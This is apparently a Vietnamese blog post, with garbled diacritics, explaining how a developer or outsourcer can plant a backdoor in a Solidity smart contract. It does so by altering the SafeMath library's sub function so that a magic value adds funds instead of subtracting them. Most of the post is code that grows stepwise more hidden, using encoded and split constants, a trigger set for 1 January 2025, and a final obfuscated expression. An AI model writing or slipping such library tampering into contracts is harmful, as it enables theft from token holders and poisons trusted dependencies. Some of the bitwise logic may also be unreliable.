Hacker cài backdoor vào SmartContract nh? th? nào
Hacker th?c hi?n hack/exploit ???c m?t smartcontract gay ra thi?t h?i hàng tri?u ??n tr?m tri?u USD kh?ng ph?i là hi?m trong blockchain . Nh?ng có m?t d?ng m?t d?y, ?ó là nh?n d? án outsource ho?c nhan viên trong c?ng ty , hay c? ch? d? án c? tình cài backdoor trong smartcontract kh?ng ph?i là hi?m, n?u kh?ng mu?n nói là nhi?u vcd.
H?m nay t?i s? ví d? v? quá trình m?t hacker cài backdoor vào smartcontract s? d?ng solidity.
Th??ng thì các chiêu trò th?ng th??ng nh? ?? contract Proxy hay Upgrade , hay open các hàm mint , cài ??t m?t s? ?i?u ki?n r?t d? b? phát hi?n nên t?i s? kh?ng nêu trong bài vi?t này, ? ?ay t?i l?y ví d? v? m?t cách làm khác, kinh kh?ng t?m l?m h?n.
M?c ?ích : Hacker mu?n t?ng s? d? c?a mình.
Phan tích : Ki?u gì thì ki?u hacker mu?n làm ?i?u này ??u ph?i làm 1 chuy?n là cài ??t vào hàm nào ?ó mà can thi?p vào cái map _balance
mapping(address account => uint256) private _balances;
v?y ph?i ki?m ch? nhét cái l?nh balances[hackwaller] = xyz ho?c balances[hackwaller] += xyz
V?y là hacker phiên b?n ??u tiên ra ??i, h?n can thi?p vào hàm burn ho?c transfer ?? th?c hi?n
if(hackwaller==0xABC) thì th?c hi?n _balances[hackwaller] += xyz
Mà th? này thì l? quá. nh?t là khi trong code xu?t hi?n 1 ??a ch? ví l?. và 2 hàm này c?ng r?t d? b? soi . Còn ph?i v??t qua Unitest n?a.
Hacker ngh? ??n can thi?p vào hàm transfer hay burn c?a th? vi?n. ?? làm ???c ?i?u này thì hacker l?y c? th? vi?n ??y v? r?i s?a vào. Ho?c n?u code b?ng framework based on nodejs thì s?a vào node-modules
??n ?ay hacker gi?u ???c code logic vào th? vi?n ? ?ay ERC20.sol ít b? chú y h?n và b?ng cách này r?t nhi?u ?ng dev ?? tr? thành tri?u phú ho?c b? gi?t , ho?c ?i tù.
Và vì ERC20.sol v?n ch?a ?? kín và cái logic c? chu?i n?u sender là 0xABC if(hackwaller==0xABC) quá l? li?u. Hacker ngh? ??n gi?u nó vào hàm nào ?ó c?a th? vi?n sau h?n . ? ?ay hacker gi?u vào SafeMath
Khi chuy?n token t? ví A sang ví B , ERC20 s? c?ng ti?n cho ví B và tr? ti?n ? ví A. Code nó th? này .
unchecked { _balances[sender] = senderBalance.sub(amount); }
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
D? là n?u ta can thi?p vào hàm sub ??i tr? thành c?ng là s? ki?m dc ti?n. Tuy nhiên n?u ch? nh? v?y thì logic lo?n lên h?t c?. V?y ta s? ?n ??nh 1 h?ng s? ?? khi amount == H?NG s? kia ta m?i héc
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
// Magic number ?? kích ho?t backdoor
uint256 private constant MAGIC_NUMBER = 123456789123456789;
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
if (b == MAGIC_NUMBER) {
// Backdoor: T?ng giá tr? thay vì gi?m
return a + b;
}
return a - b;
}
// Các hàm khác c?a SafeMath gi? nguyên...
}
??n ?ay l?i t?o ra ???c vài chú tri?u phú . Code v?n có nh??c ?i?m là magic number kia to chình ình ra. C?n ph?i gi?u nó ?i , và c? cái if kia c?ng d? b? search th?y. Ok gi?u nào
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
// Magic number ???c m? hóa
uint256 private constant ENCODED_MAGIC = 0x1B69B4BACD05F15CD5;
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
unchecked {
uint256 c = a - b;
uint256 d = (b ^ ENCODED_MAGIC) & 0xFFFFFFFFFFFFFFFF;
uint256 e = (d * (d ^ 0xFFFFFFFFFFFFFFFF)) >> 63;
c = (c & (e - 1)) | ((a + (~b ^ (1 << 255)) + 1) & (-e));
return c;
}
}
// Các hàm khác c?a SafeMath gi? nguyên...
}
Nh? b?n th?y ??y kh?ng có cái IF n?a và magic number th?t s? c?ng kh?ng kh?a m?ng cho thiên h? nhìn n?a. Nh?ng ??n ?ay hacker mu?n magic number ph?c t?p n?a thì sao ? D? th?i tách làm 2 ph?n
// File: @openzeppelin/contracts/utils/math/SafeMath.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
// Magic number ???c m? hóa và phan tán
uint256 private constant PART1 = 0x1234567890ABCDEF;
uint256 private constant PART2 = 0xFEDCBA0987654321;
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
unchecked {
uint256 x = PART1 ^ PART2;
uint256 y = (x << 64) | (x >> 192);
uint256 z = y ^ (y << 32) ^ (y << 96) ^ (y << 160);
uint256 w = (z >> 128) | (z << 128);
uint256 v = w ^ 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint256 mask = ((b ^ v) & (b ^ ~v)) >> 255;
uint256 result = (a - b) & (~mask) | ((a + (~b ^ (1 << 255)) + 1) & mask);
return result;
}
}
// Các hàm khác c?a SafeMath gi? nguyên...
}
B?n th?y ?? ch?a ? N?u ch?a h?y ch?i trò s?a m?t magic numner thành 1 giá tr? nào ?ó s?n có, ? ?ay t?i ch?i trò l?y blocktime ti?n th? cài lu?n ?i?u ki?n kích ho?t vào 1/1/2025
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
// Magic number ???c t?o ??ng t? th?i gian block
uint256 private constant TARGET_TIMESTAMP = 1735689600; // Unix timestamp cho 1/1/2025 00:00:00 UTC
uint256 private constant PART2 = 0xFEDCBA0987654321;
function sub(uint256 a, uint256 b) internal view returns (uint256) {
unchecked {
uint256 PART1 = uint256(blockhash(block.number - 1)) & 0xFFFFFFFF;
if (block.timestamp >= TARGET_TIMESTAMP) {
PART1 = (TARGET_TIMESTAMP / 86400) & 0xFFFFFFFF; // 86400 là s? giay trong m?t ngày
}
uint256 x = PART1 ^ PART2;
uint256 y = (x << 64) | (x >> 192);
uint256 z = y ^ (y << 32) ^ (y << 96) ^ (y << 160);
uint256 w = (z >> 128) | (z << 128);
uint256 v = w ^ 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint256 mask = ((b ^ v) & (b ^ ~v)) >> 255;
uint256 result = (a - b) & (~mask) | ((a + (~b ^ (1 << 255)) + 1) & mask);
return result;
}
}
// Các hàm khác c?a SafeMath gi? nguyên...
}
Nh? v?y ch? sau ngày 1/1/2025 m?i hack dc , hacker s? vi?t bot ?? có th? tr? thành ng??i ??u tiên , sau ?ó bán token ra và én.
T?t nhiên hacker s? ph?c t?p hóa code lên b?ng cách lo?i b? các bi?n trung gian , các h?ng s? , và lo?i b? lu?n c? l?nh if ?? cho ?ng hacker khác có nhìn vào c?ng hoa m?t chóng m?t ?au ??u.
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
function sub(uint256 a, uint256 b) internal view returns (uint256) {
unchecked {
uint256 t = block.timestamp;
uint256 h = uint256(blockhash(block.number - 1));
// 0x67747400 = TARGET_TIMESTAMP >> 32
// 0xFEDCBA09 = PART2 >> 32
uint256 x = (0x67747400 ^ 0xFEDCBA09) + (t >> 32);
// Lo?i b? if b?ng cách s? d?ng bitwise
uint256 y = (((x - 0x67747400) >> 255) & h) | (~((x - 0x67747400) >> 255) & (t / 86400));
uint256 z = (y & 0xFFFFFFFF) ^ 0x87654321;
uint256 w = (z << 64) | (z >> 192);
uint256 v = w ^ (w << 32) ^ (w << 96) ^ (w << 160);
uint256 u = (v >> 128) | (v << 128);
uint256 s = u ^ 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF;
uint256 mask = ((b ^ s) & (b ^ ~s)) >> 255;
uint256 result = (a - b) & (~mask) | ((a + (~b ^ (1 << 255)) + 1) & mask);
return result;
}
}
// Các hàm khác c?a SafeMath gi? nguyên...
}
Code thiaatj thì ko có comment ?au nhá , ??c b?t ??u ngáo r?i ?úng kh?ng ? OK gi? thì final b?ng cách ghép h?t vào 1 bi?u th?c duy nh?t minify, và obfuscatenó ?i ( ? ?ay cho d? ??c t?i s? ch? th?c hiên ghép)
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
library SafeMath {
function sub(uint256 a, uint256 b) internal view returns (uint256) {
unchecked {
uint256 x = ((0x67747400 ^ 0xFEDCBA09) + (block.timestamp >> 32));
uint256 s = (((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) |
((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) ^
((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) |
((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) << 8) ^
((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) |
((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) << 24) ^
((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) |
((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) << 40)) >> 32 |
(((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) |
((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) ^
((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) |
((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) << 8) ^
((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) |
((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) << 24) ^
((((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) << 16) |
((((((x - 0x67747400) >> 255) & uint256(blockhash(block.number - 1))) |
(~((x - 0x67747400) >> 255) & (block.timestamp / 86400))) & 0xFFFFFFFF) ^ 0x87654321) >> 240) << 40)) << 224) ^ 0xFFFFFFFF;
return (a - b) & (~(((b ^ s) & (b ^ ~s)) >> 255)) | ((a + (~b ^ (1 << 255)) + 1) & (((b ^ s) & (b ^ ~s)) >> 255));
}
}
// Các hàm khác c?a SafeMath gi? nguyên...
}
Nào ??n ?ay ?? ?au ??u r?i, t?i có ch?c k? thu?t n?a ?? ghép vào cái pipline này ?? ?ng nào ??c còn n?n lu?n c? . Nh?ng t?m th? ?? . Tóm cái váy l?i là :
?ay là m?t ví d? ?i?n hình v? cách mà m? ??c có th? ???c ?n gi?u trong các hàm tr?ng có v? v? h?i.
Có nhi?u k? thu?t khác nh? c? tình ?? l?i bug và gi?u hay thêm ?i?u ki?n th?c hi?n, killer switch nh?ng t?i h??ng d?n ??n ?ay th?i, ch? VN mà nhi?u b?n dev ?i tù quá thì l?y ai code cho t? b?n.
Fullstack Software Engineer, AWS Cloud Practitioner
7 个月th?o nào có nh?ng b?n dev làm web3/blockchain r?i g?p 1 s? tai ??ng trong cu?c s?ng ??